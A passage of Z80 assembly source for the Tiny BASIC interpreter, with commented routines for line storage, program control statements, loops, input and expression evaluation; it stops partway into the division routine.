; AT START, IT PRINTS OUT "(CR)OK(CR)", AND INITIALIZES THE
; STACKB AND SOME OTHER INTERNAL VARIABLES. THEN IT PROMPTS
; ">" AND READS A LINE. IF THE LINE STARTS WITH A NON-ZERO
; NUMBER, THIS NUMBER IS THE LINE NUMBER. THE LINE NUMBER
; (IN 16 BIT BINARY) AND THE REST OF THE LINE (INCLUDING CR)
; IS STORED IN THE MEMORY. IF A LINE WITH THE SAME LINE
; NUMBER IS ALREADY THERE, IT IS REPLACED BY THE NEW ONE. IF
; THE REST OF THE LINE CONSISTS OF A CR ONLY, IT IS NOT STORED
; AND ANY EXISTING LINE WITH THE SAME LINE NUMBER IS DELETED.
;
; AFTER A LINE IS INSERTED, REPLACED, OR DELETED, THE PROGRAM
; LOOPS BACK AND ASKS FOR ANOTHER LINE. THIS LOOP WILL BE
; TERMINATED WHEN IT READS A LINE WITH ZERO OR NO LINE
; NUMBER; AND CONTROL IS TRANSFERED TO "DIRECT".
;
; TINY BASIC PROGRAM SAVE AREA STARTS AT THE MEMORY LOCATION
; LABELED "TXTBGN" AND ENDS AT "TXTEND". WE ALWAYS FILL THIS
; AREA STARTING AT "TXTBGN", THE UNFILLED PORTION IS POINTED
; BY THE CONTENT OF A MEMORY LOCATION LABELED "TXTUNF".
;
; THE MEMORY LOCATION "CURRNT" POINTS TO THE LINE NUMBER
; THAT IS CURRENTLY BEING INTERPRETED. WHILE WE ARE IN
; THIS LOOP OR WHILE WE ARE INTERPRETING A DIRECT COMMAND
; (SEE NEXT SECTION). "CURRNT" SHOULD POINT TO A 0.
;*************************************************************
RSTART:
LD SP,STACK
ST1:
CALL CRLF ;AND JUMP TO HERE
LD DE,OK ;DE->STRING
SUB A ;A=0
CALL PRTSTG ;PRINT STRING UNTIL CR
LD HL,ST2+1 ;LITERAL 0
LD (CURRNT),HL ;CURRENT->LINE # = 0
ST2:
LD HL,0000H
LD (LOPVAR),HL
LD (STKGOS),HL
ST3:
LD A,'>' ;PROMPT '>' AND
CALL GETLN ;READ A LINE
PUSH DE ;DE->END OF LINE
LD DE,BUFFER ;DE->BEGINNING OF LINE
CALL TSTNUM ;TEST IF IT IS A NUMBER
RST 28H
LD A,H ;HL=VALUE OF THE # OR
OR L ;0 IF NO # WAS FOUND
POP BC ;BC->END OF LINE
JP Z,DIRECT
DEC DE ;BACKUP DE AND SAVE
LD A,H ;VALUE OF LINE # THERE
LD (DE),A
DEC DE
LD A,L
LD (DE),A
PUSH BC ;BC,DE->BEGIN, END
PUSH DE
LD A,C
SUB E
PUSH AF ;A=# OF BYTES IN LINE
CALL FNDLN ;FIND THIS LINE IN SAVE
PUSH DE ;AREA, DE->SAVE AREA
JR NZ,ST4 ;NZ:NOT FOUND, INSERT
PUSH DE ;Z:FOUND, DELETE IT
CALL FNDNXT ;FIND NEXT LINE
;DE->NEXT LINE
POP BC ;BC->LINE TO BE DELETED
LD HL,(TXTUNF) ;HL->UNFILLED SAVE AREA
CALL MVUP ;MOVE UP TO DELETE
LD H,B ;TXTUNF->UNFILLED ARA
LD L,C
LD (TXTUNF),HL ;UPDATE
ST4:
POP BC ;GET READY TO INSERT
LD HL,(TXTUNF) ;BUT FIRST CHECK IF
POP AF ;THE LENGTH OF NEW LINE
PUSH HL ;IS 3 (LINE # AND CR)
CP 03H ;THEN DO NOT INSERT
JR Z,RSTART ;MUST CLEAR THE STACKB
ADD A,L ;COMPUTE NEW TXTUNF
LD L,A
LD A,00H
ADC A,H
LD H,A ;HL->NEW UNFILLED AREA
LD DE,TXTEND ;CHECK TO SEE IF THERE
RST 20H ;IS ENOUGH SPACE
JP NC,QSORRY ;SORRY, NO ROOM FOR IT
LD (TXTUNF),HL ;OK, UPDATE TXTUNF
POP DE ;DE->OLD UNFILLED AREA
CALL MVDOWN
POP DE ;DE->BEGIN, HL->END
POP HL
CALL MVUP ;MOVE NEW LINE TO SAVE
JR ST3 ;AREA
;*************************************************************
;
; WHAT FOLLOWS IS THE CODE TO EXECUTE DIRECT AND STATEMENT
; COMMANDS. CONTROL IS TRANSFERED TO THESE POINTS VIA THE
; COMMAND TABLE LOOKUP CODE OF 'DIRECT' AND 'EXEC' IN LAST
; SECTION. AFTER THE COMMAND IS EXECUTED, CONTROL IS
; TRANSFERED TO OTHERS SECTIONS AS FOLLOWS:
;
; FOR 'LIST', 'NEW', AND 'STOP': GO BACK TO 'RSTART'
; FOR 'RUN': GO EXECUTE THE FIRST STORED LINE IF ANY, ELSE
; GO BACK TO 'RSTART'.
; FOR 'GOTO' AND 'GOSUB': GO EXECUTE THE TARGET LINE.
; FOR 'RETURN' AND 'NEXT': GO BACK TO SAVED RETURN LINE.
; FOR ALL OTHERS: IF 'CURRENT' -> 0, GO TO 'RSTART', ELSE
; GO EXECUTE NEXT COMMAND. (THIS IS DONE IN 'FINISH'.)
;*************************************************************
;
; *** NEW *** STOP *** RUN (& FRIENDS) *** & GOTO ***
;
; 'NEW(CR)' SETS 'TXTUNF' TO POINT TO 'TXTBGN'
;
; 'STOP(CR)' GOES BACK TO 'RSTART'
;
; 'RUN(CR)' FINDS THE FIRST STORED LINE, STORE ITS ADDRESS (IN
; 'CURRENT'), AND START EXECUTE IT. NOTE THAT ONLY THOSE
; COMMANDS IN TAB2 ARE LEGAL FOR STORED PROGRAM.
;
; THERE ARE 3 MORE ENTRIES IN 'RUN':
; 'RUNNXL' FINDS NEXT LINE, STORES ITS ADDR. AND EXECUTES IT.
; 'RUNTSL' STORES THE ADDRESS OF THIS LINE AND EXECUTES IT.
; 'RUNSML' CONTINUES THE EXECUTION ON SAME LINE.
;
; 'GOTO EXPR(CR)' EVALUATES THE EXPRESSION, FIND THE TARGET
; LINE, AND JUMP TO 'RUNTSL' TO DO IT.
;*************************************************************
NEW:
CALL ENDCHK ;*** NEW(CR) ***
LD HL,TXTBGN
LD (TXTUNF),HL
STOP:
CALL ENDCHK ;*** STOP(CR) ***
JP RSTART
RUN:
CALL ENDCHK ;*** RUN(CR) ***
LD DE,TXTBGN ;FIRST SAVED LINE
RUNNXL:
LD HL,00H ;*** RUNNXL ***
CALL FNDLP ;FIND WHATEVER LINE #
JP C,RSTART ;C:PASSED TXTUNF, QUIT
RUNTSL:
EX DE,HL ;*** RUNTSL ***
LD (CURRNT),HL ;SET 'CURRENT'->LINE #
EX DE,HL
INC DE ;BUMP PASS LINE #
INC DE
RUNSML:
CALL CHKIO ;*** RUNSML ***
LD HL,TAB2-1 ;FIND COMMAND IN TAB2
JP EXEC ;AND EXECUTE IT
GOTO:
RST 18H ;*** GOTO EXPR ***
PUSH DE ;SAVE FOR ERROR ROUTINE
CALL ENDCHK ;MUST FIND A CR
CALL FNDLN ;FIND THE TARGET LINE
JP NZ,AHOW ;NO SUCH LINE #
POP AF ;CLEAR THE PUSH DE
JR RUNTSL ;GO DO IT
;*************************************************************
;
; *** LIST *** & PRINT ***
;
; LIST HAS TWO FORMS:
; 'LIST(CR)' LISTS ALL SAVED LINES
; 'LIST #(CR)' START LIST AT THIS LINE #
; YOU CAN STOP THE LISTING BY CONTROL C KEY
;
; PRINT COMMAND IS 'PRINT ....;' OR 'PRINT ....(CR)'
; WHERE '....' IS A LIST OF EXPRESIONS, FORMATS, BACK-
; ARROWS, AND STRINGS. THESE ITEMS ARE SEPERATED BY COMMAS.
;
; A FORMAT IS A POUND SIGN FOLLOWED BY A NUMBER. IT CONTROLS
; THE NUMBER OF SPACES THE VALUE OF A EXPRESION IS GOING TO
; BE PRINTED. IT STAYS EFFECTIVE FOR THE REST OF THE PRINT
; COMMAND UNLESS CHANGED BY ANOTHER FORMAT. IF NO FORMAT IS
; SPECIFIED, 6 POSITIONS WILL BE USED.
;
; A STRING IS QUOTED IN A PAIR OF SINGLE QUOTES OR A PAIR OF
; DOUBLE QUOTES.
;
; A BACK-ARROW MEANS GENERATE A (CR) WITHOUT (LF)
;
; A (CRLF) IS GENERATED AFTER THE ENTIRE LIST HAS BEEN
; PRINTED OR IF THE LIST IS A NULL LIST. HOWEVER IF THE LIST
; ENDED WITH A COMMA, NO (CRLF) IS GENERATED.
;*************************************************************
LIST:
CALL TSTNUM ;TEST IF THERE IS A #
CALL ENDCHK ;IF NO # WE GET A 0
CALL FNDLN ;FIND THIS OR NEXT LINE
LS1:
JP C,RSTART ;C:PASSED TXTUNF
CALL PRTLN ;PRINT THE LINE
CALL CHKIO ;STOP IF HIT CONTROL-C
CALL FNDLP ;FIND NEXT LINE
JR LS1 ;AND LOOP BACK
PRINT:
LD C,06H ;C = # OF SPACES
RST 08H ;F NULL LIST & ";"
DB 3BH
DB PR2-$-1
CALL CRLF ;GIVE CR-LF AND
JR RUNSML ;CONTINUE SAME LINE
PR2:
RST 08H ;IF NULL LIST (CR)
DB CR
DB PR0-$-1
CALL CRLF ;ALSO GIVE CR-LF AND
JR RUNNXL ;GO TO NEXT LINE
PR0:
RST 08H ;ELSE IS IT FORMAT?
DB '#'
DB PR1-$-1
RST 18H ;YES, EVALUATE EXPR.
LD C,L ;AND SAVE IT IN C
JR PR3 ;LOOK FOR MORE TO PRINT
PR1:
CALL QTSTG ;OR IS IT A STRING?
JR PR8 ;IF NOT, MUST BE EXPR.
PR3:
RST 08H ;IF ",", GO FIND NEXT
DB ','
DB PR6-$-1
CALL FIN ;IN THE LIST.
JR PR0 ;LIST CONTINUES
PR6:
CALL CRLF ;LIST ENDS
RST 30H
PR8:
RST 18H ;EVALUATE THE EXPR
PUSH BC
CALL PRTNUM ;PRINT THE VALUE
POP BC
JR PR3 ;MORE TO PRINT?
;
;*************************************************************
;
; *** GOSUB *** & RETURN ***
;
; 'GOSUB EXPR;' OR 'GOSUB EXPR (CR)' IS LIKE THE 'GOTO'
; COMMAND, EXCEPT THAT THE CURRENT TEXT POINTER, STACKB POINTER
; ETC. ARE SAVE SO THAT EXECUTION CAN BE CONTINUED AFTER THE
; SUBROUTINE 'RETURN'. IN ORDER THAT 'GOSUB' CAN BE NESTED
; (AND EVEN RECURSIVE), THE SAVE AREA MUST BE STACKBED.
; THE STACKB POINTER IS SAVED IN 'STKGOS', THE OLD 'STKGOS' IS
; SAVED IN THE STACKB. IF WE ARE IN THE MAIN ROUTINE, 'STKGOS'
; IS ZERO (THIS WAS DONE BY THE "MAIN" SECTION OF THE CODE),
; BUT WE STILL SAVE IT AS A FLAG FOR NO FURTHER 'RETURN'S.
;
; 'RETURN(CR)' UNDOS EVERYTHING THAT 'GOSUB' DID, AND THUS
; RETURN THE EXECUTION TO THE COMMAND AFTER THE MOST RECENT
; 'GOSUB'. IF 'STKGOS' IS ZERO, IT INDICATES THAT WE
; NEVER HAD A 'GOSUB' AND IS THUS AN ERROR.
;*************************************************************
GOSUB:
CALL PUSHA ;SAVE THE CURRENT "FOR"
RST 18H ;PARAMETERS
PUSH DE ;AND TEXT POINTER
CALL FNDLN ;FIND THE TARGET LINE
JP NZ,AHOW ;NOT THERE. SAY "HOW?"
LD HL,(CURRNT) ;FOUND IT, SAVE OLD.
PUSH HL ;'CURRNT' OLD 'STKGOS'
LD HL,(STKGOS)
PUSH HL
LD HL,0000H ;AND LOAD NEW ONES
LD (LOPVAR),HL
ADD HL,SP
LD (STKGOS),HL
JP RUNTSL ;THEN RUN THAT LINE
RETURN:
CALL ENDCHK ;THERE MUST BE A CR
LD HL,(STKGOS) ;OLD STACKB POINTER
LD A,H ;0 MEANS NOT EXIST
OR L
JP Z,QWHAT ;SO, WE SAY: "WHAT?"
LD SP,HL ;ELSE, RESTORE IT
POP HL
LD (STKGOS),HL ;AND THE OLD "STKGOS"
POP HL
LD (CURRNT),HL ;AND THE OLD 'CURRNT'
POP DE ;OLD TEXT POINTER
CALL POPA ;OLD "FOR" PARAMETERS
RST 30H ;AND WE ARE BACK HOME
;*************************************************************
;
; *** FOR *** & NEXT ***
;
; 'FOR' HAS TWO FORMS:
; 'FOR VAR=EXP1 TO EXP2 STEP EXP3' AND 'FOR VAR=EXP1 TO EXP2'
; THE SECOND FORM MEANS THE SAME THING AS THE FIRST FORM WITH
; EXP3=1. (I.E., WITH A STEP OF +1.)
; TBI WILL FIND THE VARIABLE VAR, AND SET ITS VALUE TO THE
; CURRENT VALUE OF EXP1. IT ALSO EVALUATES EXP2 AND EXP3
; AND SAVE ALL THESE TOGETHER WITH THE TEXT POINTER ETC. IN
; THE 'FOR' SAVE AREA, WHICH CONSISTS OF 'LOPVAR', 'LOPINC',
; 'LOPLMT', 'LOPLN', AND 'LOPPT'. IF THERE IS ALREADY SOME-
; THING IN THE SAVE AREA (THIS IS INDICATED BY A NON-ZERO
; 'LOPVAR'), THEN THE OLD SAVE AREA IS SAVED IN THE STACKB
; BEFORE THE NEW ONE OVERWRITES IT.
; TBI WILL THEN DIG IN THE STACKB AND FIND OUT IF THIS SAME
; VARIABLE WAS USED IN ANOTHER CURRENTLY ACTIVE 'FOR' LOOP.
; IF THAT IS THE CASE, THEN THE OLD 'FOR' LOOP IS DEACTIVATED.
; (PURGED FROM THE STACKB..)
;
; 'NEXT VAR' SERVES AS THE LOGICAL (NOT NECESSARILLY PHYSICAL)
; END OF THE 'FOR' LOOP. THE CONTROL VARIABLE VAR. IS CHECKED
; WITH THE 'LOPVAR'. IF THEY ARE NOT THE SAME, TBI DIGS IN
; THE STACKB TO FIND THE RIGHT ONE AND PURGES ALL THOSE THAT
; DID NOT MATCH. EITHER WAY, TBI THEN ADDS THE 'STEP' TO
; THAT VARIABLE AND CHECK THE RESULT WITH THE LIMIT. IF IT
; IS WITHIN THE LIMIT, CONTROL LOOPS BACK TO THE COMMAND
; FOLLOWING THE 'FOR'. IF OUTSIDE THE LIMIT, THE SAVE AREA
; IS PURGED AND EXECUTION CONTINUES.
;*************************************************************
FOR:
CALL PUSHA ;SAVE THE OLD SAVE AREA
CALL SETVAL ;SET THE CONTROL VAR.
DEC HL ;HL IS ITS ADDRESS
LD (LOPVAR),HL ;SAVE THAT
LD HL,TAB5-1 ;USE 'EXEC' TO LOOK
JP EXEC ;FOR THE WORK 'TO'
FR1:
RST 18H ;EVALUATE THE LIMITE
LD (LOPLMT),HL ;SAVE THAT
LD HL,TAB6-1 ;USE 'EXEC' TO LOOK
JP EXEC ;FOR THE WORD 'STEP'
FR2:
RST 18H ;FOUND IT, GET STEP
JR FR4
FR3:
LD HL,0001H ;NOT FOUND, SET TO 1
FR4:
LD (LOPINC),HL ;SAVE THAT TOO
FR5:
LD HL,(CURRNT) ;SAVE CURRENT LINE #
LD (LOPLN),HL
EX DE,HL ;AND TEXT POINTER
LD (LOPPT),HL
LD BC,0AH ;DIG INTO STACKB TO
LD HL,(LOPVAR) ;FIND 'LOPVAR'
EX DE,HL
LD H,B
LD L,B ;HL=0 NOW
ADD HL,SP ;HERE IS THE STACKB
DB 3EH ;DISASSEMBLY SAID "ld a,09h"
FR7:
ADD HL,BC ;EACH LEVEL IS 10 DEEP - DIS = 09
LD A,(HL) ;GET THAT OLD 'LOPVAR'
INC HL
OR (HL)
JR Z,FR8 ;0 SAYS NO MORE IN IT
LD A,(HL)
DEC HL
CP D ;SAME AS THIS ONE?
JR NZ,FR7
LD A,(HL) ;THE OTHER HALF?
CP E
JR NZ,FR7
EX DE,HL ;YES, FOUND ONE
LD HL,0000H
ADD HL,SP ;TRY TO MOVE SP
LD B,H
LD C,L
LD HL,000AH
ADD HL,DE
CALL MVDOWN ;AND PURGE 10 WORDS
LD SP,HL ;IN THE STACKB
FR8:
LD HL,(LOPPT) ;JOB DONE, RESTORE DE
EX DE,HL
RST 30H ;AND CONTINUE
;
NEXT:
RST 38H ;GET ADDRESS OF VAR.
JP C,QWHAT ;NO VARIABLE, "WHAT?"
LD (VARNXT),HL ;YES, SAVE IT
NX0:
PUSH DE ;SAVE TEXT POINTER
EX DE,HL
LD HL,(LOPVAR) ;GET VAR. IN 'FOR'
LD A,H
OR L ;0 SAYS NEVER HAD ONE
JP Z,AWHAT ;SO WE ASK: "WHAT?"
RST 20H ;ELSE WE CHECK THEM
JR Z,NX3 ;OK, THEY AGREE
POP DE ;NO, LET'S SEE
CALL POPA ;PURGE CURRENT LOOP
LD HL,(VARNXT) ;AND POP ONE LEVEL
JR NX0 ;GO CHECK AGAIN
NX3:
LD E,(HL) ;COME HERE WHEN AGREED
INC HL
LD D,(HL) ;DE=VALUE OF VAR.
LD HL,(LOPINC)
PUSH HL
LD A,H
XOR D
LD A,D
ADD HL,DE ;ADD ONE STEP
JP M,NX4
XOR H
JP M,NX5
NX4:
EX DE,HL
LD HL,(LOPVAR) ;PUT IT BACK
LD (HL),E
INC HL
LD (HL),D
LD HL,(LOPLMT) ;HL->LIMIT
POP AF ;OLD HL
OR A
JP P,NX1 ;STEP > 0
EX DE,HL ;STEP < 0
NX1:
CALL CKHLDE ;COMPARE WITH LIMIT
POP DE ;RESTORE TEXT POINTER
JR C,NX2 ;OUTSIDE LIMIT
LD HL,(LOPLN) ;WITHIN LIMIT, GO
LD (CURRNT),HL ;BACK TO THE SAVED
LD HL,(LOPPT) ;'CURRNT' AND TEXT
EX DE,HL ;POINTER
RST 30H
NX5:
POP HL
POP DE
NX2:
CALL POPA ;PURGE THIS LOOP
RST 30H
;
;*************************************************************
;
; *** REM *** IF *** INPUT *** & LET (& DEFLT) ***
;
; 'REM' CAN BE FOLLOWED BY ANYTHING AND IS IGNORED BY TBI.
; TBI TREATS IT LIKE AN 'IF' WITH A FALSE CONDITION.
;
; 'IF' IS FOLLOWED BY AN EXPR. AS A CONDITION AND ONE OR MORE
; COMMANDS (INCLUDING OTHER 'IF'S) SEPERATED BY SEMI-COLONS.
; NOTE THAT THE WORD 'THEN' IS NOT USED. TBI EVALUATES THE
; EXPR. IF IT IS NON-ZERO, EXECUTION CONTINUES. IF THE
; EXPR. IS ZERO, THE COMMANDS THAT FOLLOWS ARE IGNORED AND
; EXECUTION CONTINUES AT THE NEXT LINE.
;
; 'INPUT' COMMAND IS LIKE THE 'PRINT' COMMAND, AND IS FOLLOWED
; BY A LIST OF ITEMS. IF THE ITEM IS A STRING IN SINGLE OR
; DOUBLE QUOTES, OR IS A BACK-ARROW, IT HAS THE SAME EFFECT AS
; IN 'PRINT'. IF AN ITEM IS A VARIABLE, THIS VARIABLE NAME IS
; PRINTED OUT FOLLOWED BY A COLON. THEN TBI WAITS FOR AN
; EXPR. TO BE TYPED IN. THE VARIABLE IS THEN SET TO THE
; VALUE OF THIS EXPR. IF THE VARIABLE IS PROCEDED BY A STRING
; (AGAIN IN SINGLE OR DOUBLE QUOTES), THE STRING WILL BE
; PRINTED FOLLOWED BY A COLON. TBI THEN WAITS FOR INPUT EXPR.
; AND SET THE VARIABLE TO THE VALUE OF THE EXPR.
;
; IF THE INPUT EXPR. IS INVALID, TBI WILL PRINT "WHAT?",
; "HOW?" OR "SORRY" AND REPRINT THE PROMPT AND REDO THE INPUT.
; THE EXECUTION WILL NOT TERMINATE UNLESS YOU TYPE CONTROL-C.
; THIS IS HANDLED IN 'INPERR'.
;
; 'LET' IS FOLLOWED BY A LIST OF ITEMS SEPERATED BY COMMAS.
; EACH ITEM CONSISTS OF A VARIABLE, AN EQUAL SIGN, AND AN EXPR.
; TBI EVALUATES THE EXPR. AND SET THE VARIABLE TO THAT VALUE.
; TBI WILL ALSO HANDLE 'LET' COMMAND WITHOUT THE WORD 'LET'.
; THIS IS DONE BY 'DEFLT'.
;*************************************************************
REM:
LD HL,0000H ;*** REM ***
DB 3EH ;THIS IS LIKE 'IF 0'
IFF:
RST 18H ;*** IF ***
LD A,H ;IS THE EXPR.=0?
OR L
JP NZ,RUNSML ;NO, CONTINUE
CALL FNDSKP ;YES, SKIP REST OF LINE
JP NC,RUNTSL ;AND RUN THE NEXT LINE
JP RSTART ;IF NO NEXT, RE-START
INPERR:
LD HL,(STKINP) ;*** INPERR ***
LD SP,HL ;RESTORE OLD SP
POP HL ;AND OLD 'CURRNT'
LD (CURRNT),HL
POP DE ;AND OLD TEXT POINTER
POP DE ;REDO INPUT
INPUT: ;*** INPUT ***
IP1:
PUSH DE ;SAVE IN CASE OF ERROR
CALL QTSTG ;IS NEXT ITEM A STRING?
JR IP2 ;NO
RST 38H ;YES, BUT FOLLOWED BY A
JR C,IP4 ;VARIABLE? NO.
JR IP3 ;YES. INPUT VARIABLE
IP2:
PUSH DE ;SAVE FOR 'PRTSTG'
RST 38H ;MUST BE VARIABLE NOW
JP C,QWHAT ;"WHAT?" IT IS NOT?
LD A,(DE) ;GET READY FOR 'PRTSTR'
LD C,A
SUB A
LD (DE),A
POP DE
CALL PRTSTG ;PRINT STRING AS PROMPT
LD A,C ;RESTORE TEXT
DEC DE
LD (DE),A
IP3:
PUSH DE ;SAVE TEXT POINTER
EX DE,HL
LD HL,(CURRNT) ;ALSO SAVE 'CURRNT'
PUSH HL
LD HL,IP1 ;A NEGATIVE NUMBER
LD (CURRNT),HL ;AS A FLAG
LD HL,0000H ;SAVE SP TOO
ADD HL,SP
LD (STKINP),HL
PUSH DE ;OLD HL
LD A,3AH ;PRINT THIS TOO
CALL GETLN ;AND GET A LINE
LD DE,BUFFER ;POINTS TO BUFFER
RST 18H ;EVALUATE INPUT
NOP ;CAN BE 'CALL ENDCHK'
NOP
NOP
POP DE ;OK,GET OLD HL
EX DE,HL
LD (HL),E ;SAVE VALUE IN VAR.
INC HL
LD (HL),D
POP HL ;GET OLD 'CURRNT'
LD (CURRNT),HL
POP DE ;AND OLD TEXT POINTER
IP4:
POP AF ;PURGE JUNK IN STACKB
RST 08H ;IS NEXT CH. ','?
DB ','
DB IP5-$-1
JR IP1 ;YES, MORE ITEMS.
IP5:
RST 30H
DEFLT:
LD A,(DE) ;*** DEFLT ***
CP CR ;EMPTY LINE IS OK
JR Z,LT1 ;ELSE IT IS 'LET'
LET:
CALL SETVAL ;*** LET ***
RST 08H ;SET VALUE TO VAR
DB ',' ;---DISASSEMBLE = INC L
DB LT1-$-1 ;---DISASSEMBLE = INC BC
JR LET ;ITEM BY ITEM
LT1:
RST 30H ;UNTIL FINISH
;*************************************************************
;
; *** EXPR ***
;
; 'EXPR' EVALUATES ARITHMETICAL OR LOGICAL EXPRESSIONS.
; <EXPR>::<EXPR2>
; <EXPR2><REL.OP.><EXPR2>
; WHERE <REL.OP.> IS ONE OF THE OPERATORS IN TAB8 AND THE
; RESULT OF THESE OPERATIONS IS 1 IF TRUE AND 0 IF FALSE.
; <EXPR2>::=(+ OR -)<EXPR3>(+ OR -<EXPR3>)(....)
; WHERE () ARE OPTIONAL AND (....) ARE OPTIONAL REPEATS.
; <EXPR3>::=<EXPR4>(* OR /><EXPR4>)(....)
; <EXPR4>::=<VARIABLE>
; <FUNCTION>
; (<EXPR>)
; <EXPR> IS RECURSIVE SO THAT VARIABLE '@' CAN HAVE AN <EXPR>
; AS INDEX, FUNCTIONS CAN HAVE AN <EXPR> AS ARGUMENTS, AND
; <EXPR4> CAN BE AN <EXPR> IN PARANTHESE.
;*************************************************************
EXPR1:
LD HL,TAB8-1 ;LOOKUP REL.OP.
JP EXEC ;GO DO IT
XP11:
CALL XP18 ;REL.OP.">="
RET C ;NO, RETURN HL=0
LD L,A ;YES, RETURN HL=1
RET
XP12:
CALL XP18 ;REL.OP."#"
RET Z ;FALSE, RETURN HL=0
LD L,A ;TRUE, RETURN HL=1
RET
XP13:
CALL XP18 ;REL.OP.">"
RET Z ;FALSE
RET C ;ALSO FALSE, HL=0
LD L,A ;TRUE, HL=1
RET
XP14:
CALL XP18 ;REL.OP."<="
LD L,A ;SET HL=1
RET Z ;REL. TRUE, RETURN
RET C
LD L,H ;ELSE SET HL=0
RET
XP15:
CALL XP18 ;REL.OP."="
RET NZ ;FALSE, RETURN HL=0
LD L,A ;ELSE SET HL=1
RET
XP16:
CALL XP18 ;REL.OP."<"
RET NC ;FALSE, RETURN HL=0
LD L,A ;ELSE SET HL=1
RET
XP17:
POP HL ;NOT .REL.OP
RET ;RETURN HL=<EXPR2>
XP18:
LD A,C ;SUBROUTINE FOR ALL
POP HL ;REL.OP.'S
POP BC
PUSH HL ;REVERSE TOP OF STACKB
PUSH BC
LD C,A
CALL EXPR2 ;GET 2ND <EXPR2>
EX DE,HL ;VALUE IN DE NOW
EX (SP),HL ;1ST <EXPR2> IN HL
CALL CKHLDE ;COMPARE 1ST WITH 2ND
POP DE ;RESTORE TEXT POINTER
LD HL,0000H ;SET HL=0, A=1
LD A,01H
RET
EXPR2:
RST 08H ;NEGATIVE SIGN?
DB '-'
DB XP21-$-1
LD HL,0000H ;YES, FAKE '0-'
JR XP26 ;TREAT LIKE SUBTRACT
XP21:
RST 08H ;POSITIVE SIGN? IGNORE
DB '+'
DB XP22-$-1
XP22:
CALL EXPR3 ;1ST <EXPR3>
XP23:
RST 08H ;ADD?
DB '+'
DB XP25-$-1
PUSH HL ;YES, SAVE VALUE
CALL EXPR3 ;GET 2ND <EXPR3>
XP24:
EX DE,HL ;2ND IN DE
EX (SP),HL ;1ST IN HL
LD A,H ;COMPARE SIGN
XOR D
LD A,D
ADD HL,DE
POP DE ;RESTORE TEXT POINTER
JP M,XP23 ;1ST AND 2ND SIGN DIFFER
XOR H ;1ST AND 2ND SIGN EQUAL
JP P,XP23 ;SO IS RESULT
JP QHOW ;ELSE WE HAVE OVERFLOW
XP25:
RST 08H ;SUBTRACT?
DB '-'
DB XP42-$-1
XP26:
PUSH HL ;YES, SAVE 1ST <EXPR3>
CALL EXPR3 ;GET 2ND <EXPR3>
CALL CHGSGN ;NEGATE
JR XP24 ;AND ADD THEM
;
EXPR3:
CALL EXPR4 ;GET 1ST <EXPR4>
XP31:
RST 08H ;MULTIPLY?
DB '*'
DB XP34-$-1
PUSH HL ;YES, SAVE 1ST
CALL EXPR4 ;AND GET 2ND <EXPR4>
LD B,00H ;CLEAR B FOR SIGN
CALL CHKSGN ;CHECK SIGN
EX (SP),HL ;1ST IN HL
CALL CHKSGN ;CHECK SIGN OF 1ST
EX DE,HL
EX (SP),HL
LD A,H ;IS HL > 255 ?
OR A
JR Z,XP32 ;NO
LD A,D ;YES, HOW ABOUT DE
OR D
EX DE,HL ;PUT SMALLER IN HL
JP NZ,AHOW ;ALSO >, WILL OVERFLOW
XP32:
LD A,L ;THIS IS DUMB
LD HL,0000H ;CLEAR RESULT
OR A ;ADD AND COUNT
JR Z,XP35
XP33:
ADD HL,DE
JP C,AHOW ;OVERFLOW
DEC A
JR NZ,XP33
JR XP35 ;FINISHED
XP34:
RST 08H ;DIVIDE?
DB '/'
DB XP42-$-1
PUSH HL ;YES, SAVE 1ST <EXPR4>
CALL EXPR4 ;AND GET THE SECOND ONE
LD B,00H ;CLEAR B FOR SIGN
CALL CHKSGN ;CHECK SIGN OF 2ND
EX (SP),HL ;GET 1ST IN HL
CALL CHKSGN ;CHECK SIGN OF 1ST
EX DE,HL
EX (SP),HL
EX DE,HL
LD A,D ;DIVIDE BY 0?
OR E
JP Z,AHOW ;SAY "HOW?"
PUSH BC ;ELSE SAVE SIGN
CALL DIVIDE ;USE SUBROUTINE
LD H,B ;RESULT IN HL NOW
LD L,C
POP BC ;GET SIGN BACK
XP35:
POP DE ;AND TEXT POINTER
LD A,H ;HL MUST BE +
OR A
JP M,QHOW ;ELSE IT IS OVERFLOW
LD A,B
OR A
CALL M,CHGSGN ;CHANGE SIGN IF NEEDED
JR XP31 ;LOOK FOR MORE TERMS
EXPR4:
LD HL,TAB4-1 ;FIND FUNCTION IN TAB4
JP EXEC ;AND GO DO IT
XP40:
RST 38H ;NO, NOT A FUNCTION
JR C,XP41 ;NOR A VARIABLE
LD A,(HL) ;VARIABLE
INC HL
LD H,(HL) ;VALUE IN HL
LD L,A
RET
XP41:
CALL TSTNUM ;OR IS IT A NUMBER
LD A,B ;# OF DIGIT
OR A
RET NZ ;OK
PARN:
RST 08H
DB '('
DB XP43-$-1
RST 18H ;"(EXPR)"
RST 08H
DB ')'
DB XP43-$-1
XP42:
RET
XP43:
JP QWHAT ;ELSE SAY: "WHAT?"
RND:
CALL PARN ;*** RND(EXPR) ***
LD A,H ;EXPR MUST BE +
OR A
JP M,QHOW
OR L ;AND NON-ZERO
JP Z,QHOW
PUSH DE ;SAVE BOTH
PUSH HL
LD HL,(RANPNT) ;GET MEMORY AS RANDOM
LD DE,LSTROM ;NUMBER
RST 20H
JR C,RA1 ;WRAP AROUND IF LAST
LD HL,START
RA1:
LD E,(HL)
INC HL
LD D,(HL)
LD (RANPNT),HL
POP HL
EX DE,HL
PUSH BC
CALL DIVIDE ;RND (N)=MOD(M,N)+1
POP BC
POP DE
INC HL
RET
ABS:
CALL PARN ;*** ABS (EXPR) ***
DEC DE
CALL CHKSGN ;CHECK SIGN
INC DE
RET
SIZE:
LD HL,(TXTUNF) ;*** SIZE ***
PUSH DE ;GET THE NUMBER OF FREE
EX DE,HL ;BYTES BETWEEN 'TXTUNF'
LD HL,VARBGN ;AND 'VARBGN'
CALL SUBDE
POP DE
RET
;*************************************************************
;
; *** DIVIDE *** SUBDE *** CHKSGN *** CHGSGN *** & CKHLDE ***
;
; 'DIVIDE' DIVIDES HL BY DE, RESULT IN BC, REMAINDER IN HL
;
; 'SUBDE' SUBSTRACTS DE FROM HL
;
; 'CHKSGN' CHECKS SIGN OF HL. IF +, NO CHANGE. IF -, CHANGE
; SIGN AND FLIP SIGN OF B.
;
; 'CHGSGN' CHECKS SIGN N OF HL AND B UNCONDITIONALLY.
;
; 'CKHLDE' CHECKS SIGN OF HL AND DE. IF DIFFERENT, HL AND DE
; ARE INTERCHANGED. IF SAME SIGN, NOT INTERCHANGED. EITHER
; CASE, HL DE ARE THEN COMPARED TO SET THE FLAGS.
;*************************************************************
DIVIDE:
PUSH HL ;*** DIVIDE ***
LD L,H ;DIVIDE H BY DE
LD H,00H
CALL DV1
